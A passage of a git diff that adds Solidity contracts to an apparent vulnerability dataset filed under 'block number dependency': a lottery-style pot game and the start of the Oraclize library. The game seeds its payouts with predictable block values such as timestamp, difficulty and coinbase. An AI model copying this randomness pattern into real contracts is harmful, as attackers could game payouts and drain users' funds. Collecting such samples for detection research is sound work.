require(_value == 80000000000000000 || _value == 10000000000000000); + } + uint256 _sharePot = _player.tokenBalance.mul(sharePot).div(totalSupply); + uint256 _eth = 0; + + if (_sharePot > _player.ethShareWithdraw) { + _eth = _sharePot.sub(_player.ethShareWithdraw); + _player.ethShareWithdraw = _sharePot; + } + + _eth = _eth.add(_player.ethBalance); + _player.ethBalance = 0; + _player.ethWithdraw = _player.ethWithdraw.add(_eth); + if (_value == 80000000000000000) { + + + uint256 _fee = _eth.mul(feeIndex >= feePercents.length ? 0 : feePercents[feeIndex]).div(1000); + if (_fee > 0) { + feeAmount = feeAmount.add(_fee); + _eth = _eth.sub(_fee); + } + sendFeeIfAvailable(); + msg.sender.transfer(_eth); + emit Withdraw(_to, msg.sender, _eth); + emit Transfer(msg.sender, _to, 0); + } else { + + InternalBuyEvent memory _buyEvent = InternalBuyEvent({ + flag1: 0 + }); + buy(_player, _buyEvent, _eth); + } + return true; + } + + + function() isActivated isAccount payable public { + uint256 _eth = msg.value; + require(now < finishTime); + InternalBuyEvent memory _buyEvent = InternalBuyEvent({ + flag1: 0 + }); + Player storage _player = playerOf[msg.sender]; + if (_player.pid == 0) { + + require(_eth >= FEE_REGISTER_ACCOUNT); + + uint256 _fee = FEE_REGISTER_ACCOUNT.sub(BUY_AMOUNT_MIN); + _eth = _eth.sub(_fee); + + feeAmount = feeAmount.add(_fee); + playerCount = playerCount.add(1); + Player memory _p = Player({ + pid: playerCount, + ethTotal: 0, + ethBalance: 0, + ethWithdraw: 0, + ethShareWithdraw: 0, + tokenBalance: 0, + tokenDay: 0, + tokenDayBalance: 0 + }); + playerOf[msg.sender] = _p; + playerIdOf[_p.pid] = msg.sender; + _player = playerOf[msg.sender]; + + _buyEvent.flag1 += 1; + } + buy(_player, _buyEvent, _eth); + } + + + function buy(Player storage _player, InternalBuyEvent memory _buyEvent, uint256 _amount) private { + require(now < finishTime && _amount >= BUY_AMOUNT_MIN && _amount <= BUY_AMOUNT_MAX); + + uint256 _day = (now / 86400) * 86400; + uint256 _backEth = 0; + uint256 _eth = _amount; + if (totalPot < 200000000000000000000) { + + if (_eth >= 5000000000000000000) { + + _backEth = _eth.sub(5000000000000000000); + _eth = 5000000000000000000; + } + } + txCount = txCount + 1; + _buyEvent.flag1 += txCount * 10; + _player.ethTotal = _player.ethTotal.add(_eth); + totalPot = totalPot.add(_eth); + + uint256 _newTotalSupply = calculateTotalSupply(totalPot); + + uint256 _tokenAmount = _newTotalSupply.sub(totalSupply); + _player.tokenBalance = _player.tokenBalance.add(_tokenAmount); + + + if (_player.tokenDay == _day) { + _player.tokenDayBalance = _player.tokenDayBalance.add(_tokenAmount); + } else { + _player.tokenDay = _day; + _player.tokenDayBalance = _tokenAmount; + } + + updatePrice(_newTotalSupply); + handlePot(_day, _eth, _newTotalSupply, _tokenAmount, _player, _buyEvent); + if (_backEth > 0) { + _player.ethBalance = _player.ethBalance.add(_backEth); + } + sendFeeIfAvailable(); + emitEndTxEvents(_eth, _tokenAmount, _buyEvent); + } + + + function handlePot(uint256 _day, uint256 _eth, uint256 _newTotalSupply, uint256 _tokenAmount, Player storage _player, InternalBuyEvent memory _buyEvent) private { + uint256 _sharePotDelta = _eth.div(2); + uint256 _finalPotDelta = _eth.div(5); + uint256 _luckyPotDelta = _eth.mul(255).div(1000); + uint256 _dealerPotDelta = _eth.sub(_sharePotDelta).sub(_finalPotDelta).sub(_luckyPotDelta); + sharePot = sharePot.add(_sharePotDelta); + finalPot = finalPot.add(_finalPotDelta); + luckyPot = luckyPot.add(_luckyPotDelta); + totalSupply = _newTotalSupply; + handleDealerPot(_day, _dealerPotDelta, _player, _buyEvent); + handleLuckyPot(_eth, _player); + + if (_tokenAmount >= ONE_TOKEN) { + updateFinishTime(_tokenAmount); + lastPlayer = msg.sender; + } + _buyEvent.flag1 += finishTime * 1000000000000000000000; + } + + + function handleLuckyPot(uint256 _eth, Player storage _player) private { + uint256 _seed = uint256(keccak256(abi.encodePacked( + (block.timestamp).add + (block.difficulty).add + ((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add + (block.gaslimit).add + ((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add + (block.number) + ))); + _seed = _seed - ((_seed / 1000) * 1000); + uint64 _level = 0; + if (_seed < 227) { + _level = 1; + } else if (_seed < 422) { + _level = 2; + } else if (_seed < 519) { + _level = 3; + } else if (_seed < 600) { + _level = 4; + } else if (_seed < 700) { + _level = 5; + } else { + _level = 6; + } + if (_level >= 5) { + + handleLuckyReward(txCount, _level, _eth, _player); + } else { + + LuckyPending memory _pending = LuckyPending({ + player: msg.sender, + amount: _eth, + txId: txCount, + block: uint64(block.number + 1), + level: _level + }); + luckyPendings.push(_pending); + } + + handleLuckyPending(_level >= 5 ? 0 : 1); + } + + function handleLuckyPending(uint256 _pendingSkipSize) private { + if (luckyPendingIndex < luckyPendings.length - _pendingSkipSize) { + LuckyPending storage _pending = luckyPendings[luckyPendingIndex]; + if (_pending.block <= block.number) { + uint256 _seed = uint256(keccak256(abi.encodePacked( + (block.timestamp).add + (block.difficulty).add + ((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add + (block.gaslimit).add + (block.number) + ))); + _seed = _seed - ((_seed / 1000) * 1000); + handleLucyPendingForOne(_pending, _seed); + if (luckyPendingIndex < luckyPendings.length - _pendingSkipSize) { + _pending = luckyPendings[luckyPendingIndex]; + if (_pending.block <= block.number) { + handleLucyPendingForOne(_pending, _seed); + } + } + } + } + } + + function handleLucyPendingForOne(LuckyPending storage _pending, uint256 _seed) private { + luckyPendingIndex = luckyPendingIndex.add(1); + bool _reward = false; + if (_pending.level == 4) { + _reward = _seed < 617; + } else if (_pending.level == 3) { + _reward = _seed < 309; + } else if (_pending.level == 2) { + _reward = _seed < 102; + } else if (_pending.level == 1) { + _reward = _seed < 44; + } + if (_reward) { + handleLuckyReward(_pending.txId, _pending.level, _pending.amount, playerOf[_pending.player]); + } + } + + function handleLuckyReward(uint64 _txId, uint64 _level, uint256 _eth, Player storage _player) private { + uint256 _amount; + if (_level == 1) { + _amount = _eth.mul(7); + } else if (_level == 2) { + _amount = _eth.mul(3); + } else if (_level == 3) { + _amount = _eth; + } else if (_level == 4) { + _amount = _eth.div(2); + } else if (_level == 5) { + _amount = _eth.div(5); + } else if (_level == 6) { + _amount = _eth.div(10); + } + uint256 _maxPot = luckyPot.div(2); + if (_amount > _maxPot) { + _amount = _maxPot; + } + luckyPot = luckyPot.sub(_amount); + _player.ethBalance = _player.ethBalance.add(_amount); + LuckyRecord memory _record = LuckyRecord({ + player: msg.sender, + amount: _amount, + txId: _txId, + level: _level, + time: uint64(now) + }); + luckyRecords.push(_record); + } + + + function handleDealerPot(uint256 _day, uint256 _dealerPotDelta, Player storage _player, InternalBuyEvent memory _buyEvent) private { + uint256 _potUnit = _dealerPotDelta.div(dealers.length); + + if (dealerDay != _day || dealers[0] == address(0)) { + dealerDay = _day; + dealers[0] = msg.sender; + dealers[1] = address(0); + dealers[2] = address(0); + _player.ethBalance = _player.ethBalance.add(_potUnit); + feeAmount = feeAmount.add(_dealerPotDelta.sub(_potUnit)); + _buyEvent.flag1 += _player.pid * 100000000000000000000000000000000; + return; + } + + for (uint256 _i = 0; _i < dealers.length; ++_i) { + if (dealers[_i] == address(0)) { + dealers[_i] = msg.sender; + break; + } + if (dealers[_i] == msg.sender) { + break; + } + Player storage _dealer = playerOf[dealers[_i]]; + if (_dealer.tokenDayBalance < _player.tokenDayBalance) { + for (uint256 _j = dealers.length - 1; _j > _i; --_j) { + if (dealers[_j - 1] != msg.sender) { + dealers[_j] = dealers[_j - 1]; + } + } + dealers[_i] = msg.sender; + break; + } + } + + uint256 _fee = _dealerPotDelta; + for (_i = 0; _i < dealers.length; ++_i) { + if (dealers[_i] == address(0)) { + break; + } + _dealer = playerOf[dealers[_i]]; + _dealer.ethBalance = _dealer.ethBalance.add(_potUnit); + _fee = _fee.sub(_potUnit); + _buyEvent.flag1 += _dealer.pid * + (_i == 0 ? 100000000000000000000000000000000 : + (_i == 1 ? 100000000000000000000000000000000000000000000000 : + (_i == 2 ? 100000000000000000000000000000000000000000000000000000000000000 : 0))); + } + if (_fee > 0) { + feeAmount = feeAmount.add(_fee); + } + } + + function emitEndTxEvents(uint256 _eth, uint256 _tokenAmount, InternalBuyEvent memory _buyEvent) private { + emit Transfer(address(this), msg.sender, _tokenAmount); + emit Buy( + address(this), msg.sender, _eth, _tokenAmount, + totalSupply, totalPot, sharePot, finalPot, luckyPot, + price, _buyEvent.flag1 + ); + } + + + function endGame() private { + + if (luckyPot > 0) { + feeAmount = feeAmount.add(luckyPot); + luckyPot = 0; + } + + + if (winner == address(0) && lastPlayer != address(0)) { + winner = lastPlayer; + lastPlayer = address(0); + winAmount = finalPot; + finalPot = 0; + Player storage _player = playerOf[winner]; + _player.ethBalance = _player.ethBalance.add(winAmount); + emit Win(address(this), winner, winAmount); + } + } + + + function updateFinishTime(uint256 _tokenAmount) private { + uint256 _timeDelta = _tokenAmount.div(ONE_TOKEN).mul(TIME_DURATION_INCREASE); + uint256 _finishTime = finishTime.add(_timeDelta); + uint256 _maxTime = now.add(TIME_DURATION_MAX); + finishTime = _finishTime <= _maxTime ? _finishTime : _maxTime; + } + + function updatePrice(uint256 _newTotalSupply) private { + price = _newTotalSupply.mul(2).div(10000000000).add(88000000000000); + uint256 _idx = feeIndex + 1; + while (_idx < feePrices.length && price >= feePrices[_idx]) { + feeIndex = _idx; + ++_idx; + } + } + + function calculateTotalSupply(uint256 _newTotalPot) private pure returns(uint256) { + return _newTotalPot.mul(10000000000000000000000000000) + .add(193600000000000000000000000000000000000000000000) + .sqrt() + .sub(440000000000000000000000); + } + + function sendFeeIfAvailable() private { + if (feeAmount > 1000000000000000000) { + feeOwner.transfer(feeAmount); + feeAmount = 0; + } + } + + + function changeFeeOwner(address _feeOwner) onlyOwner public { + require(_feeOwner != feeOwner && _feeOwner != address(0)); + feeOwner = _feeOwner; + } + + + function withdrawFee(uint256 _amount) onlyOwner public { + require(now >= finishTime.add(30 days)); + if (winner == address(0)) { + endGame(); + } + feeAmount = feeAmount > _amount ? feeAmount.sub(_amount) : 0; + feeOwner.transfer(_amount); + } + +} \ No newline at end of file diff --git a/smart_contract_dataset/block number dependency/413.sol b/smart_contract_dataset/block number dependency/413.sol new file mode 100644 index 0000000000000000000000000000000000000000..b4741a3bbbc370b05713426dedab8c2a7bab5582 --- /dev/null +++ b/smart_contract_dataset/block number dependency/413.sol @@ -0,0 +1,1263 @@ + + +pragma solidity ^0.4.10; + +contract OraclizeI { + address public cbAddress; + function query(uint _timestamp, string _datasource, string _arg) external payable returns (bytes32 _id); + function query_withGasLimit(uint _timestamp, string _datasource, string _arg, uint _gaslimit) external payable returns (bytes32 _id); + function query2(uint _timestamp, string _datasource, string _arg1, string _arg2) public payable returns (bytes32 _id); + function query2_withGasLimit(uint _timestamp, string _datasource, string _arg1, string _arg2, uint _gaslimit) external payable returns (bytes32 _id); + function queryN(uint _timestamp, string _datasource, bytes _argN) public payable returns (bytes32 _id); + function queryN_withGasLimit(uint _timestamp, string _datasource, bytes _argN, uint _gaslimit) external payable returns (bytes32 _id); + function getPrice(string _datasource) public returns (uint _dsprice); + function getPrice(string _datasource, uint gaslimit) public returns (uint _dsprice); + function setProofType(byte _proofType) external; + function setCustomGasPrice(uint _gasPrice) external; + function randomDS_getSessionPubKeyHash() external constant returns(bytes32); +} +contract OraclizeAddrResolverI { + function getAddress() public returns (address _addr); +} +contract usingOraclize { + uint constant day = 60*60*24; + uint constant week = 60*60*24*7; + uint constant month = 60*60*24*30; + byte constant proofType_NONE = 0x00; + byte constant proofType_TLSNotary = 0x10; + byte constant proofType_Android = 0x20; + byte constant proofType_Ledger = 0x30; + byte constant proofType_Native = 0xF0; + byte constant proofStorage_IPFS = 0x01; + uint8 constant networkID_auto = 0; + uint8 constant networkID_mainnet = 1; + uint8 constant networkID_testnet = 2; + uint8 constant networkID_morden = 2; + uint8 constant networkID_consensys = 161; + + OraclizeAddrResolverI OAR; + + OraclizeI oraclize; + modifier oraclizeAPI { + if((address(OAR)==0)||(getCodeSize(address(OAR))==0)) + oraclize_setNetwork(networkID_auto); + + if(address(oraclize) != OAR.getAddress()) + oraclize = OraclizeI(OAR.getAddress()); + + _; + } + modifier coupon(string code){ + oraclize = OraclizeI(OAR.getAddress()); + _; + } + + function oraclize_setNetwork(uint8 networkID) internal returns(bool){ + return oraclize_setNetwork(); + networkID; + } + function oraclize_setNetwork() internal returns(bool){ + if (getCodeSize(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed)>0){ + OAR = OraclizeAddrResolverI(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed); + oraclize_setNetworkName("eth_mainnet"); + return true; + } + if (getCodeSize(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1)>0){ + OAR = OraclizeAddrResolverI(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1); + oraclize_setNetworkName("eth_ropsten3"); + return true; + } + if (getCodeSize(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e)>0){ + OAR = OraclizeAddrResolverI(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e); + oraclize_setNetworkName("eth_kovan"); + return true; + } + if (getCodeSize(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48)>0){ + OAR = OraclizeAddrResolverI(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48); + oraclize_setNetworkName("eth_rinkeby"); + return true; + } + if (getCodeSize(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475)>0){ + OAR = OraclizeAddrResolverI(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475); + return true; + } + if (getCodeSize(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF)>0){ + OAR = OraclizeAddrResolverI(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF); + return true; + } + if (getCodeSize(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA)>0){ + OAR = OraclizeAddrResolverI(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA); + return true; + } + return false; + } + + function __callback(bytes32 myid, string result) public { + __callback(myid, result, new bytes(0)); + } + function __callback(bytes32 myid, string result, bytes proof) public { + return; + myid; result; proof; + } + + function oraclize_getPrice(string datasource) oraclizeAPI internal returns (uint){ + return oraclize.getPrice(datasource); + } + + function oraclize_getPrice(string datasource, uint gaslimit) oraclizeAPI internal returns (uint){ + return oraclize.getPrice(datasource, gaslimit); + } + + function oraclize_query(string datasource, string arg) oraclizeAPI internal returns (bytes32 id){ + uint price = oraclize.getPrice(datasource); + if (price > 1 ether + tx.gasprice*200000) return 0; + return oraclize.query.value(price)(0, datasource, arg); + } + function oraclize_query(uint timestamp, string datasource, string arg) oraclizeAPI internal returns (bytes32 id){ + uint price = oraclize.getPrice(datasource); + if (price > 1 ether + tx.gasprice*200000) return 0; + return oraclize.query.value(price)(timestamp, datasource, arg); + } + function oraclize_query(uint timestamp, string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ + uint price = oraclize.getPrice(datasource, gaslimit); + if (price > 1 ether + tx.gasprice*gaslimit) return 0; + return oraclize.query_withGasLimit.value(price)(timestamp, datasource, arg, gaslimit); + } + function oraclize_query(string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ + uint price = oraclize.getPrice(datasource, gaslimit); + if (price > 1 ether + tx.gasprice*gaslimit) return 0; + return oraclize.query_withGasLimit.value(price)(0, datasource, arg, gaslimit); + } + function oraclize_query(string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){ + uint price = oraclize.getPrice(datasource); + if (price > 1 ether + tx.gasprice*200000) return 0; + return oraclize.query2.value(price)(0, datasource, arg1, arg2); + } + function oraclize_query(uint timestamp, string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){ + uint price = oraclize.getPrice(datasource); + if (price > 1 ether + tx.gasprice*200000) return 0; + return oraclize.query2.value(price)(timestamp, datasource, arg1, arg2); + } + function oraclize_query(uint timestamp, string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ + uint price = oraclize.getPrice(datasource, gaslimit); + if (price > 1 ether + tx.gasprice*gaslimit) return 0; + return oraclize.query2_withGasLimit.value(price)(timestamp, datasource, arg1, arg2, gaslimit); + } + function oraclize_query(string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ + uint price = oraclize.getPrice(datasource, gaslimit); + if (price > 1 ether + tx.gasprice*gaslimit) return 0; + return oraclize.query2_withGasLimit.value(price)(0, datasource, arg1, arg2, gaslimit); + } + function oraclize_query(string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){ + uint price = oraclize.getPrice(datasource); + if (price > 1 ether + tx.gasprice*200000) return 0; + bytes memory args = stra2cbor(argN); + return oraclize.queryN.value(price)(0, datasource, args); + } + function oraclize_query(uint timestamp, string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){ + uint price = oraclize.getPrice(datasource); + if (price > 1 ether + tx.gasprice*200000) return 0; + bytes memory args = stra2cbor(argN); + return oraclize.queryN.value(price)(timestamp, datasource, args); + } + function oraclize_query(uint timestamp, string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ + uint price = oraclize.getPrice(datasource, gaslimit); + if (price > 1 ether + tx.gasprice*gaslimit) return 0; + bytes memory args = stra2cbor(argN); + return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit); + } + function oraclize_query(string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ + uint price = oraclize.getPrice(datasource, gaslimit); + if (price > 1 ether + tx.gasprice*gaslimit) return 0; + bytes memory args = stra2cbor(argN); + return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit); + } + function oraclize_query(string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) { + string[] memory dynargs = new string[](1); + dynargs[0] = args[0]; + return oraclize_query(datasource, dynargs); + } + function oraclize_query(uint timestamp, string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) { + string[] memory dynargs = new string[](1); + dynargs[0] = args[0]; + return oraclize_query(timestamp, datasource, dynargs); + } + function oraclize_query(uint timestamp, string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { + string[] memory dynargs = new string[](1); + dynargs[0] = args[0]; + return oraclize_query(timestamp, datasource, dynargs, gaslimit); + } + function oraclize_query(string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { + string[] memory dynargs = new string[](1); + dynargs[0] = args[0]; + return oraclize_query(datasource, dynargs, gaslimit); + } + + function oraclize_query(string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) { + string[] memory dynargs = new string[](2); + dynargs[0] = args[0]; + dynargs[1] = args[1]; + return oraclize_query(datasource, dynargs); + } + function oraclize_query(uint timestamp, string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) { + string[] memory dynargs = new string[](2); + dynargs[0] = args[0]; + dynargs[1] = args[1]; + return oraclize_query(timestamp, datasource, dynargs); + } + function oraclize_query(uint timestamp, string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { + string[] memory dynargs = new string[](2); + dynargs[0] = args[0]; + dynargs[1] = args[1]; + return oraclize_query(timestamp, datasource, dynargs, gaslimit); + } + function oraclize_query(string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { + string[] memory dynargs = new string[](2); + dynargs[0] = args[0]; + dynargs[1] = args[1]; + return oraclize_query(datasource, dynargs, gaslimit); + } + function oraclize_query(string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) { + string[] memory dynargs = new string[](3); + dynargs[0] = args[0]; + dynargs[1] = args[1]; + dynargs[2] = args[2]; + return oraclize_query(datasource, dynargs); + } + function oraclize_query(uint timestamp, string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) { + string[] memory dynargs = new string[](3); + dynargs[0] = args[0]; + dynargs[1] = args[1]; + dynargs[2] = args[2]; + return oraclize_query(timestamp, datasource, dynargs); + } + function oraclize_query(uint timestamp, string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { + string[] memory dynargs = new string[](3); + dynargs[0] = args[0]; + dynargs[1] = args[1]; + dynargs[2] = args[2]; + return oraclize_query(timestamp, datasource, dynargs, gaslimit); + } + function oraclize_query(string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { + string[] memory dynargs = new string[](3); + dynargs[0] = args[0]; + dynargs[1] = args[1]; + dynargs[2] = args[2]; + return oraclize_query(datasource, dynargs, gaslimit); + } + + function oraclize_query(string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) { + string[] memory dynargs = new string[](4); + dynargs[0] = args[0]; + dynargs[1] = args[1]; + dynargs[2] = args[2]; + dynargs[3] = args[3]; + return oraclize_query(datasource, dynargs); + } + function oraclize_query(uint timestamp, string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) { + string[] memory dynargs = new string[](4); + dynargs[0] = args[0]; + dynargs[1] = args[1]; + dynargs[2] = args[2]; + dynargs[3] = args[3]; + return oraclize_query(timestamp, datasource, dynargs); + } + function oraclize_query(uint timestamp, string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { + string[] memory dynargs = new string[](4); + dynargs[0] = args[0]; + dynargs[1] = args[1]; + dynargs[2] = args[2]; + dynargs[3] = args[3]; + return oraclize_query(timestamp, datasource, dynargs, gaslimit); + } + function oraclize_query(string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { + string[] memory dynargs = new string[](4); + dynargs[0] = args[0]; + dynargs[1] = args[1]; + dynargs[2] = args[2]; + dynargs[3] = args[3]; + return oraclize_query(datasource, dynargs, gaslimit); + } + function oraclize_query(string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) { + string[] memory dynargs = new string[](5); + dynargs[0] = args[0]; + dynargs[1] = args[1]; + dynargs[2] = args[2]; + dynargs[3] = args[3]; + dynargs[4] = args[4]; + return oraclize_query(datasource, dynargs); + } + function oraclize_query(uint timestamp, string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) { + string[] memory dynargs = new string[](5); + dynargs[0] = args[0]; + dynargs[1] = args[1]; + dynargs[2] = args[2]; + dynargs[3] = args[3]; + dynargs[4] = args[4]; + return oraclize_query(timestamp, datasource, dynargs); + } + function oraclize_query(uint timestamp, string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { + string[] memory dynargs = new string[](5); + dynargs[0] = args[0]; + dynargs[1] = args[1]; + dynargs[2] = args[2]; + dynargs[3] = args[3]; + dynargs[4] = args[4]; + return oraclize_query(timestamp, datasource, dynargs, gaslimit); + } + function oraclize_query(string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { + string[] memory dynargs = new string[](5); + dynargs[0] = args[0]; + dynargs[1] = args[1]; + dynargs[2] = args[2]; + dynargs[3] = args[3]; + dynargs[4] = args[4]; + return oraclize_query(datasource, dynargs, gaslimit); + } + function oraclize_query(string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){ + uint price = oraclize.getPrice(datasource); + if (price > 1 ether + tx.gasprice*200000) return 0; + bytes memory args = ba2cbor(argN); + return oraclize.queryN.value(price)(0, datasource, args); + } + function oraclize_query(uint timestamp, string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){ + uint price = oraclize.getPrice(datasource); + if (price > 1 ether + tx.gasprice*200000) return 0; + bytes memory args = ba2cbor(argN); + return oraclize.queryN.value(price)(timestamp, datasource, args); + } + function oraclize_query(uint timestamp, string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ + uint price = oraclize.getPrice(datasource, gaslimit); + if (price > 1 ether + tx.gasprice*gaslimit) return 0; + bytes memory args = ba2cbor(argN); + return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit); + } + function oraclize_query(string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ + uint price = oraclize.getPrice(datasource, gaslimit); + if (price > 1 ether + tx.gasprice*gaslimit) return 0; + bytes memory args = ba2cbor(argN); + return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit); + } + function oraclize_query(string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) { + bytes[] memory dynargs = new bytes[](1); + dynargs[0] = args[0]; + return oraclize_query(datasource, dynargs); + } + function oraclize_query(uint timestamp, string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) { + bytes[] memory dynargs = new bytes[](1); + dynargs[0] = args[0]; + return oraclize_query(timestamp, datasource, dynargs); + } + function oraclize_query(uint timestamp, string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { + bytes[] memory dynargs = new bytes[](1); + dynargs[0] = args[0]; + return oraclize_query(timestamp, datasource, dynargs, gaslimit); + } + function oraclize_query(string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { + bytes[] memory dynargs = new bytes[](1); + dynargs[0] = args[0]; + return oraclize_query(datasource, dynargs, gaslimit); + } + + function oraclize_query(string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) { + bytes[] memory dynargs = new bytes[](2); + dynargs[0] = args[0]; + dynargs[1] = args[1]; + return oraclize_query(datasource, dynargs); + } + function oraclize_query(uint timestamp, string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) { + bytes[] memory dynargs = new bytes[](2); + dynargs[0] = args[0]; + dynargs[1] = args[1]; + return oraclize_query(timestamp, datasource, dynargs); + } + function oraclize_query(uint timestamp, string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { + bytes[] memory dynargs = new bytes[](2); + dynargs[0] = args[0]; + dynargs[1] = args[1]; + return oraclize_query(timestamp, datasource, dynargs, gaslimit); + } + function oraclize_query(string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { + bytes[] memory dynargs = new bytes[](2); + dynargs[0] = args[0]; + dynargs[1] = args[1]; + return oraclize_query(datasource, dynargs, gaslimit); + } + function oraclize_query(string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) { + bytes[] memory dynargs = new bytes[](3); + dynargs[0] = args[0]; + dynargs[1] = args[1]; + dynargs[2] = args[2]; + return oraclize_query(datasource, dynargs); + } + function oraclize_query(uint timestamp, string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) { + bytes[] memory dynargs = new bytes[](3); + dynargs[0] = args[0]; + dynargs[1] = args[1]; + dynargs[2] = args[2]; + return oraclize_query(timestamp, datasource, dynargs); + } + function oraclize_query(uint timestamp, string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { + bytes[] memory dynargs = new bytes[](3); + dynargs[0] = args[0]; + dynargs[1] = args[1]; + dynargs[2] = args[2]; + return oraclize_query(timestamp, datasource, dynargs, gaslimit); + } + function oraclize_query(string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { + bytes[] memory dynargs = new bytes[](3); + dynargs[0] = args[0]; + dynargs[1] = args[1]; + dynargs[2] = args[2]; + return oraclize_query(datasource, dynargs, gaslimit); + } + + function oraclize_query(string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) { + bytes[] memory dynargs = new bytes[](4); + dynargs[0] = args[0]; + dynargs[1] = args[1]; + dynargs[2] = args[2]; + dynargs[3] = args[3]; + return oraclize_query(datasource, dynargs); + } + function oraclize_query(uint timestamp, string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) { + bytes[] memory dynargs = new bytes[](4); + dynargs[0] = args[0]; + dynargs[1] = args[1]; + dynargs[2] = args[2]; + dynargs[3] = args[3]; + return oraclize_query(timestamp, datasource, dynargs); + } + function oraclize_query(uint timestamp, string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { + bytes[] memory dynargs = new bytes[](4); + dynargs[0] = args[0]; + dynargs[1] = args[1]; + dynargs[2] = args[2]; + dynargs[3] = args[3]; + return oraclize_query(timestamp, datasource, dynargs, gaslimit); + } + function oraclize_query(string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { + bytes[] memory dynargs = new bytes[](4); + dynargs[0] = args[0]; + dynargs[1] = args[1]; + dynargs[2] = args[2]; + dynargs[3] = args[3]; + return oraclize_query(datasource, dynargs, gaslimit); + } + function oraclize_query(string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) { + bytes[] memory dynargs = new bytes[](5); + dynargs[0] = args[0]; + dynargs[1] = args[1]; + dynargs[2] = args[2]; + dynargs[3] = args[3]; + dynargs[4] = args[4]; + return oraclize_query(datasource, dynargs); + } + function oraclize_query(uint timestamp, string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) { + bytes[] memory dynargs = new bytes[](5); + dynargs[0] = args[0]; + dynargs[1] = args[1]; + dynargs[2] = args[2]; + dynargs[3] = args[3]; + dynargs[4] = args[4]; + return oraclize_query(timestamp, datasource, dynargs); + } + function oraclize_query(uint timestamp, string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { + bytes[] memory dynargs = new bytes[](5); + dynargs[0] = args[0]; + dynargs[1] = args[1]; + dynargs[2] = args[2]; + dynargs[3] = args[3]; + dynargs[4] = args[4]; + return oraclize_query(timestamp, datasource, dynargs, gaslimit); + } + function oraclize_query(string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { + bytes[] 